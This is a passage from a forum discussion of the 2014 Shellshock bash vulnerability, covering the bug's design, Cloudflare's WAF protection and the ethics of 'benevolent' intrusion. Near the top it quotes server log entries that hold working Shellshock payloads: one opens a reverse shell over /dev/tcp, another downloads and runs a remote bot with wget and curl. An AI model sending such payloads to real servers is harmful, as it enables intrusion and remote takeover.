291–296 of 296 posts
access.log:89.207.135.125 - - [25/Sep/2014:06:28:08 +0000] "GET /cgi-sys/defaultwebpage.cgi HTTP/1.0" 404 447 "-" "() { :;}; /bin/ping -c 1 198.101.206.138"
access.log:202.38.120.248 - - [26/Sep/2014:13:38:10 +0000] "GET / HTTP/1.0" 200 473 "-" "() { :;}; /bin/bash -c '/bin/bash -i >& /dev/tcp/195.225.34.101/3333 0>&1'"
Earlier quoted context omitted.
I honestly can't see why this is "fine"... I understand it's not the security critical bug, but feeding all environment variables into some sort of interpreter...?!? Ok, bash needs to transfer function definitions to child processes in order to implement something called inherited functions, and I guess you could argue that an environment variable is a reasonable place to store them. But WHY THE HELL does bash have t…
It appears they are talking about requiring prefixes for these vars (finally). Still, you look at the c code / macros that parse this shit and have to shake your head. This is what they mean by "attack surface". http://www.openwall.com/lists/oss-security/2014/09/25/13
"() { :;}; /bin/bash -c \x22wget http://stablehost.us/bots/regular.bot -O /tmp/sh;curl -o /tmp/sh http://stablehost.us/bots/regular.bot;sh /tmp/sh;rm -rf /tmp/sh\x22"Earlier quoted context omitted.
Out of curiosity, have you considered enabling it temporarily for everyone with Shellshock rules enabled? Just a day or two, to give people time to fix this. Is it feasible with your infrastructure/the way WAF works (I never used one)? It could do a lot of good for people and be a great PR move at the same time.
I'm going to bring it up internally, but don't hold your breath.
https://blog.cloudflare.com/shellshock-protection-enabled-fo...
Earlier quoted context omitted.
"could some benevolent person use the bug to cause remote systems to run something like " That's not benevolent that's intrusion. Nobody has the right to take it upon themselves to determine what someone else should be doing in this case. I would imagine that an action like that would also clearly violate a law or two (I'm sure others more knowledgeable could cite the law).
At the risk of participating in a philosophical debate, I pose a classic counterexample: You encounter a car parked on the side of the road in the middle of nowhere. Its windows are rolled down. Storm clouds are rumbling nearby and it's obviously about to rain. There's nobody around but you. Do you also consider rolling up the windows to be intrusion? Personally I'd feel an ethical obligation to help the stranger out…
Yes definitely. Really no different than if you would want someone to enter your house to close your windows.
Now you might say "well what if it can be done from the outside" without entering?
That is a bit different.
Except for one thing. What if someone saw you doing that? What if the owner saw you doing that and didn't know why you were messing with their car? (I had this happen with a boat one time btw.). There is an immediately sense of shock because you don't know what is going on. And in that case who knows what will happen? Maybe they might start a fight or shoot you. That's not good for anyone. Maybe they have something valuable in the car that they think you are going after. Maybe they have serious mental problems.
Here's the point. It's one thing if you see a baby in a hot car and decide to take action. The benefit outweighs the risks. But it's another thing if you decide to roll up the windows to prevent someone's car from getting wet inside (covered by homeowners insurance with low deductible in many cases ntim though). Different story. Make sense?